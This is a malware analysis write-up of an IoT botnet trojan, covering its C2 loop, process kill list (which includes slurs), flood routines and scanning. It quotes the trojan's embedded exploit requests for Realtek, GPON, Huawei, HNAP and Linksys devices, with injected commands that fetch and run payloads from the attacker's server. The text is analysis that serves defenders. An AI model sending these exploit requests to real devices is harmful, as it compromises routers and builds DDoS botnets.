The payload is capable of doing the following:
Initial Fork()
On execution, the trojan forks() and exits the parent (To disassociate the child). The spawned payload runs in the background and tries to talk to the C2 at 5 seconds interval.
LOOP:
sleep(5)
socket(2,1,0)
2 = PF_INET
1 = SOCK_STREAM
0 = IPPROTO_IP
inet_addr(ip_address)
connect(38, 0x608fc0, 16, 0, 0x7f7ecbe1e5a0)
// 0x608fc0 = sockaddr *addr
//0x7f7ecbe1e5a0 = socklen_t, In this case, it will be 16.
The addr data structure in this scenario will become:
sa_family, sin_port=htons(remote_port),sin_addr=inet_addr(ip_address)
Let’s dig deeper
———————————————————————————————————————————————————
pop %rbp // main function
retq
callq 0x401110s
xor %edi,%edi
callq 0x401100 // CLOSEING HANDLE
mov $0x1,%edi
callq 0x401100
mov $0x2,%edi
callq 0x401100
mov 0x8(%rbx),%rsi
mov $0x405592,%edi
xor %eax,%eax
callq 0x4010d0
mov 0x8(%rbx),%rsi
mov $0x8,%edx
mov $0x6091e0,%edi
xor %eax,%eax
callq 0x4012b0
mov 0x0(%rbp),%rax
movabs $0x61772f7665642f5b,%rcx
mov %rcx,(%rax)
movabs $0x5d676f64686374,%rcx
mov %rcx,0x8(%rax)
nopl 0x0(%rax,%rax,1)
xor %eax,%eax
callq 0x401ac0 // CONNECT
mov $0x5,%edi
callq 0x4012f0 // SLEEP 5 SECONDS
jmp 0x401428 // START OF THE LOOP
———————————————————————————————————————————————————
Connect call MUST return a value of zero i.e. connection must be successful. If the connection is not successful, the payload keeps trying to connect to the same C2. The payload opens a port (34556) for IPC (bind to all interfaces)
bind(3, {sa_family=AF_INET, sin_port=htons(34556), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
And eventually call listen()
listen(3, 5, 16, -1, 0x7f4895695300)
Once the connection is successful, the payload informs the C2
=========================== (UDURRANI) =================================
(DATA PUSH!) IS COMING FROM 172.16.223.134 TO IP ADDRESS 185.244.25.200
PORT INFORMATION (45411, 6443)
SEQUENCE INFORMATION (1532511650, 960825006)
|URG:0 | ACK:1 | PSH:1 | RST:0 | SYN:0 | FIN:0|
(70)
78 38 36 0A x86.
killing processes:
Trojan stores all the processes in kill_list.txt. Let’s look at the responsible function, with comments added:
———————————————————————————————————————————————————
lea rdi, qword [rsp+0xe20+var_620] // string_buffer
mov esi, 0x404875 // echo %s >> kill_list.txt to string_buffer
xor eax, eax
// Call the function to fill the buffer
lea rdi, qword [rsp+0xe20+var_620]
call system
mov esi, 0x9 // Provide kill switch i.e. 0x9. Switch 9 is used as SIGKILL
mov edi, r12d // Provide the process identifier i.e. process ID to KILL
call killFunc // Execute
mov edi, 0x40488e // rm -rf kill_list
———————————————————————————————————————————————————
Finding processes:
The payload looks for specific processes to kill. It opens /proc directory by using opendir(), enumerates through the PID’s and read 512 bytes in map.
char *path = “/proc/”
It calls opendir(path), followed by readdir() and then by calling open in READ ONLY mode
open("/proc/pid/maps", 0 …). If open() is successful, it reads the required information via read()
lea rsi, qword [rsp+0xe20+var_820] // ASSIGN A BUFFER
mov edx, 0x200 // PUSH COUNT TO 512 BYTES
mov edi, eax // File Descriptor
If it finds the process it’s looking for, kill_list file is updated via fopen()
mov esi, 0x405014 // MODE
mov edi, 0x404880 // FILE_NAME
call fopenFunc
FORK + DISASSOCIATION
The Kill List
This list is dynamically written to kill_list.txt. Here are the processes the payload is looking for.
BzSxLxBxeY, HOHO-LUGO7, HOHO-U79OL, JuYfouyf87, NiGGeR69xd, LOLKIKEEEDDE, ekjheory98e, MELTEDNINJAREALZ, flexsonskids, MISAKI-U79OL, foAxi102kxe, swodjwodjwoj, MmKiy7f87l, freecookiex86, sysupdater, NiGGeRD0nks69, 0x766f6964, NiGGeRd0nks1337, urasgbsigboa, Ofurain0n4H34D, 1293194hjXD, 1337SoraLOADER, 1378bfp919GRB1Q2, SEXSLAVE1337, 1902a3u912u3u4, SORAojkf120, hehahejeje92, 2U2JDJA901F91, helpmedaddthhhhh, 2wgg9qphbq, Slav3Th3seD3vices, hzSmYZjYMQ, SoRAxD123LOL, SoRAxD420LOL, SoraBeReppin1337, ipcamCache, jUYfouyf87, lyEeaXul2dULCVxh, TY2gD6MZvKc7KU6r, mMkiy6f87l, A023UU4U24UIU, mioribitches, TheWeeknds, W9RCAKM20T, newnetword, g1abc4dmo35hnp2lie0kjf, notyakuzaa, BigN0gg0r420, ofhasfhiafhoi, X19I239124UIU, XSHJEHHEIIHWO, DeportedDeported, XkTer0GbA1, FortniteDownLOLZ, Y0urM0mGay, pussyfartlmaojk, GrAcEnIgGeRaNn, YvdGkqndCO, qGeoRBe6BE, GuiltyCrown, s4beBsEQhd, HOHO-KSNDO, alie293z0k2L, scanJoshoARM, HellInSide, ayyyGangShit, scanJoshoARM5, scanJoshoARM7, IuYgujeIqn, scanJoshoM68K, JJDUHEWBBBIB, scanJoshoMIPS, JSDGIEVIVAVIG, cKbVkzGOPa, scanJoshoMPSL, chickenxings, scanJoshoSH4, scanJoshoSPC, scanJoshoX86, zPnr6HpQj2, Kaishi-Iz90Y, Ksif91je39, KuasaBinsMate, eQnOhRk85r, LOLHHHOHOHBUI, eXK20CL12Z, QBotBladeSPOOKY, hikariwashere, p4029x91xx, 32uhj4gbejh, PownedSecurity69, fxlyazsxhy, jnsd9sdoila, yourmomgaeis, sdfjiougsioj, SEGRJIJHFVNHSNHEIHFOS, KOWAI-BAdAsV, airdropmalware, your_verry_fucking_gay, Big-Bro-Bright, For-Gai-Mezy, cloqkisvspooky, SwergjmioG, KILLEJW(IU(JIWERGFJGJWJRG, IuFdKssCxz, ajbdf89wu823, GhostWuzHere666, sfc6aJfIuY, xeno-is-god, ICY-P-0ODIJ, plzjustfuckoff
UDP floods
The flood is launched by calling socket function with UDP option. Let’s look at the parameters pushed on the stack for the socket() call
—————————————————————————————————
mov edx, 0x11
mov esi, 0x2 // #define SOCK_DGRAM 2
mov edi, 0x2
It calls gethostbyname followed by
mov qword [rsp+0x840+var_838], 0x0
Once the socket call is successful, bcopy() is populated.
movsxd rdx, dword [rax+0x14] // SIZE
mov rax, qword [rax+0x18]
mov qword [rsp+0x840+var_840], 0x0
// SOURCE AND DESTINATION
lea rsi, qword [rsp+0x840+var_83C]
mov rdi, qword [rax]
—————————————————————————————————
UDP data is sent via sendto() function. Other than UDP flood, the botnet can launch synFlood as well.
Using vulnerabilities:
The payload is able to scan and launch exploits on several devices / routers / cameras. Initially, it will setup the connection and then send the exploit code. It can use RAW sockets to accomplish this task as well.
socket(HANDLE, 0x3, 0x6)
The vulnerabilities are used to infect devices remotely, download the botnet on each device and launch the payload. This eventually creates a bigger network where each device becomes part of the botnet.
Let’s look at some exploit code paths
if (strstr(rbx, "realtek") != 0x0) {
rsi = "POST /picsdesc.xml HTTP/1.1\r\nContent-Length: 630\r\nAccept-Encoding: gzip, deflate\r\nSOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\r\nAccept: */*\r\nUser-Agent: Hello-World\r\nConnection: keep-alive\r\n\r\n<?xml version=\"1.0\" ?><s:Envelope x…"
}
if (strstr(rbx, "gpon80") != 0x0) {
rsi = "POST /GponForm/diag_Form?images/ HTTP/1.1\r\nUser-Agent: Hello, World\r\nAccept: */*\r\nAccept-Encoding: gzip, deflate\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\nXWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://185.244.25.…"
}
if (strstr(rbx, "gpon8080") != 0x0) {
rsi = "POST /GponForm/diag_Form?images/ HTTP/1.1\r\nUser-Agent: Hello, World\r\nAccept: */*\r\nAccept-Encoding: gzip, deflate\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\nXWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://185.244.25.…";
}
if (strstr(rbx, "gpon443") != 0x0) {
rsi = "POST /GponForm/diag_Form?images/ HTTP/1.1\r\nUser-Agent: Hello, World\r\nAccept: */*\r\nAccept-Encoding: gzip, deflate\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\nXWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://185.244.25.…";
}
if (strstr(rbx, "huawei") != 0x0) {
rsi = "POST /ctrlt/DeviceUpgrade_1 HTTP/1.1\r\nContent-Length: 430\r\nConnection: keep-alive\r\nAccept: */*\r\nAuthorization: Digest username=\"dslf-config\", realm=\"HuaweiHomeGateway\", nonce=\"88645cefb1f9ede0e336e3569d75ee30\", uri=\"/ctrlt/DeviceUpgrade_1\", response=\"3612f…";
}
if (strstr(rbx, "africo") != 0x0) {
rsi = "POST /setup.cgi?next_file=afr.cfg&todo=syscmd&cmd=wget%20http://185.244.25.200/bins/africo.selfrep%20-O%20/var/tmp/africo.selfrep;%20chmod%20777%20/var/tmp/africo.selfrep;%20/var/tmp/africo.selfrep;%20rm%20-rf%20/var/tmp/africo.selfrep&curpath=/¤tset…";
}
if (strstr(rbx, "tr064") != 0x0) {
rsi = "POST /UD/act?1 HTTP/1.1\r\nHost: 127.0.0.1:7547\r\nUser-Agent: Nakuma\r\nSOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers\r\nContent-Type: text/xml\r\nContent-Length: 526\r\n<?xml version=\"1.0\"?><SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/so…";
}
POST /HNAP1/ HTTP/1.0\r\nContent-Type: text/xml; charset=\"utf-8\"\r\nSOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://185.244.25.200/hnap.selfrep && chmod +x hnap.selfrep;./hnap.selfrep`\r\nContent-Length: 640\r\n\r\n<?xml version=\"1.0\" e…
POST /tmUnblock.cgi HTTP/1.1\r\nHost: 192.168.0.14:80\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nUser-Agent: python-requests/2.20.0\r\nContent-Length: 227\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\nttcp_ip=-h+%60cd+%2Ftmp%3B…", 0 ; +rm+-rf+mpsl%3B+wget+http%3A%2F%2F185.244.25.200%2Fbins%2Flinksys.selfrep%3B+chmod+777+linksys.selfrep%3B+.%2Fmpsl+selfrep.linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
POST /ctrlt/DeviceUpgrade_1 HTTP/1.1\r\nContent-Length: 430\r\nConnection: keep-alive\r\nAccept: */*\r\nAuthorization: Digest username=\"dslf-config\", realm=\"HuaweiHomeGateway\", nonce=\"88645cefb1f9ede0e336e3569d75ee30\", uri=\"/ctrlt/DeviceUpgrade_1\", response=\"3612f…
Some of the vulnerabilities used:
CVE-2017 17215
Realtek SDK Miniigd UPnP SOAP Command Execution
GPON Routers – Authentication Bypass / Command Injection: An issue was discovered on Dasan GPON home routers. It is possible to bypass authentication simply by appending "?images" to any URL of the device that requires authentication
CVE-2018 10561
CVE-2018 10562
CVE-2018 15379
LinkSys RCE
ThinkPHP RCE
Realtek SDK unauthenticated commandInjection
NetGear unauthenticated RCE
Scan to DDOS
Once the payload is able reach the initial C2, it starts a scan that eventually generate a DDOS. It uses vulnerabilities and default credentials to exploit devices. Here is the network traffic trace in the 2nd stage:
|U|A|P|R|S|F| {URG|ACK|PSH|RST|SYN|FIN}
(tcp) |0|0|0|0|1|0|->[55105, 8080]src-ip: 172.16.223.134 dst-ip: 156.31.27.253
(tcp) |0|0|0|0|1|0|->[55105, 8080]src-ip: 172.16.223.134 dst-ip: 156.244.125.218
(tcp) |0|0|0|0|1|0|->[55105, 8080]src-ip: 172.16.223.134 dst-ip: 156.16.186.135
(tcp) |0|0|0|0|1|0|->[55105, 8080]src-ip: 172.16.223.134 dst-ip: 156.51.0.107
(tcp) |0|0|0|0|1|0|->[55105, 8080]src-ip: 172.16.223.134 dst-ip: 156.173.170.0
(tcp) |0|0|0|0|1|0|->[55105, 8080]src-ip: 172.16.223.134 dst-ip: 156.59.39.114
(tcp) |0|0|0|0|1|0|->[55105, 8080]src-ip: 172.16.223.134 dst-ip: 156.50.179.66
(tcp) |0|0|0|0|1|0|->[55105, 8080]src-ip: 172.16.223.134 dst-ip: 156.84.255.158
(tcp) |0|0|0|0|1|0|->[55105, 8080]src-ip: 172.16.223.134 dst-ip: 156.128.236.122
(tcp) |0|0|0|0|1|0|->[55105, 8080]src-ip: 172.16.223.134 dst-ip: 156.176.65.184
(tcp) |0|0|0|0|1|0|->[55105, 8080]src-ip: 172.16.223.134 dst-ip: 156.200.10.142
(tcp) |0|0|0|0|1|0|->[55105, 8080]src-ip: 172.16.223.134 dst-ip: 156.166.11.40
(tcp) |0|0|0|0|1|0|->[55105, 8080]src-ip: 172.16.223.134 dst-ip: 156.8.128.129
(tcp) |0|0|0|0|1|0|->[55105, 8080]src-ip: 172.16.223.134 dst-ip: 156.203.50.166
(tcp) |0|0|0|0|1|0|->[55105, 8080]src-ip: 172.16.223.134 dst-ip: 156.231.35.219
(tcp) |0|0|0|0|1|0|->[55105, 8080]src-ip: 172.16.223.134 dst-ip: 156.122.82.254
(tcp) |0|0|0|0|1|0|->[55105, 8080]src-ip: 172.16.223.134 dst-ip: 156.228.6.94
(tcp) |0|0|0|0|1|0|->[55105, 8080]src-ip: 172.16.223.134 dst-ip: 156.144.57.172
(tcp) |0|0|0|0|1|0|->[55105, 8080]src-ip: 172.16.223.134 dst-ip: 156.239.155.203
(tcp) |0|0|0|0|1|0|->[55105, 8080]src-ip: 172.16.223.134 dst-ip: 156.3.185.110
(tcp) |0|0|0|0|1|0|->[55105, 8080]src-ip: 172.16.223.134 dst-ip: 156.220.224.155
(tcp) |0|1|0|1|0|0|->[8080, 32648]src-ip: 156.206.14.22 dst-ip: 172.16.223.134
(tcp) |0|1|0|1|0|0|->[8080, 32648]src-ip: 156.196.220.143 dst-ip: 172.16.223.134
(tcp) |0|1|0|1|0|0|->[8080, 32648]src-ip: 156.77.212.199 dst-ip: 172.16.223.134
Speed
Depending on the resources of the machine, the payload can initiate scans so fast that it could talk to thousands of ip’s / second
Initial C2 Server
To launch the vulnerabilities, the scanner initiates a blind scan, it waits for a response [ recv() ] before it initiates the remote exploit
push rbx
mov rdx, edx // RECV() Size
mov rbx, rsi
call recvFunc
Initial code logic, with comments: [START-LOGIC]
Successful device exploit trace
PORT INFORMATION (33274, 8080)
SEQUENCE INFORMATION (4145382290, 726139919)
|URG:0 | ACK:1 | PSH:1 | RST:0 | SYN:0 | FIN:0|
(524)
50 4F 53 54 20 2F 74 6D 55 6E 62 6C 6F 63 6B 2E POST /tmUnblock.
63 67 69 20 48 54 54 50 2F 31 2E 31 0D 0A 48 6F cgi HTTP/1.1..Ho
73 74 3A 20 31 39 32 2E 31 36 38 2E 30 2E 31 34 st: 192.168.0.14
3A 38 30 0D 0A 43 6F 6E 6E 65 63 74 69 6F 6E 3A :80..Connection:
20 6B 65 65 70 2D 61 6C 69 76 65 0D 0A 41 63 63 keep-alive..Acc
65 70 74 2D 45 6E 63 6F 64 69 6E 67 3A 20 67 7A ept-Encoding: gz
69 70 2C 20 64 65 66 6C 61 74 65 0D 0A 41 63 63 ip, deflate..Acc
65 70 74 3A 20 2A 2F 2A 0D 0A 55 73 65 72 2D 41 ept: */*..User-A
67 65 6E 74 3A 20 70 79 74 68 6F 6E 2D 72 65 71 gent: python-req
75 65 73 74 73 2F 32 2E 32 30 2E 30 0D 0A 43 6F uests/2.20.0..Co
6E 74 65 6E 74 2D 4C 65 6E 67 74 68 3A 20 32 32 ntent-Length: 22
37 0D 0A 43 6F 6E 74 65 6E 74 2D 54 79 70 65 3A 7..Content-Type:
20 61 70 70 6C 69 63 61 74 69 6F 6E 2F 78 2D 77 application/x-w
77 77 2D 66 6F 72 6D 2D 75 72 6C 65 6E 63 6F 64 ww-form-urlencod
65 64 0D 0A 0D 0A 74 74 63 70 5F 69 70 3D 2D 68 ed....ttcp_ip=-h
2B 25 36 30 63 64 2B 25 32 46 74 6D 70 25 33 42 +%60cd+%2Ftmp%3B
2B 72 6D 2B 2D 72 66 2B 6D 70 73 6C 25 33 42 2B +rm+-rf+mpsl%3B+
77 67 65 74 2B 68 74 74 70 25 33 41 25 32 46 25 wget+http%3A%2F%
32 46 31 38 35 2E 32 34 34 2E 32 35 2E 32 30 30 2F185.244.25.200
25 32 46 62 69 6E 73 25 32 46 6C 69 6E 6B 73 79 %2Fbins%2Flinksy
73 2E 73 65 6C 66 72 65 70 25 33 42 2B 63 68 6D s.selfrep%3B+chm
6F 64 2B 37 37 37 2B 6C 69 6E 6B 73 79 73 2E 73 od+777+linksys.s
65 6C 66 72 65 70 25 33 42 2B 2E 25 32 46 6D 70 elfrep%3B+.%2Fmp
73 6C 2B 73 65 6C 66 72 65 70 2E 6C 69 6E 6B 73 sl+selfrep.links
79 73 25 36 30 26 61 63 74 69 6F 6E 3D 26 74 74 ys%60&action=&tt
63 70 5F 6E 75 6D 3D 32 26 74 74 63 70 5F 73 69 cp_num=2&ttcp_si
7A 65 3D 32 26 73 75 62 6D 69 74 5F 62 75 74 74 ze=2&submit_butt
6F 6E 3D 26 63 68 61 6E 67 65 5F 61 63 74 69 6F on=&change_actio
6E 3D 26 63 6F 6D 6D 69 74 3D 30 26 53 74 61 72 n=&commit=0&Star
74 45 50 49 3D 31 tEPI=1
Conclusion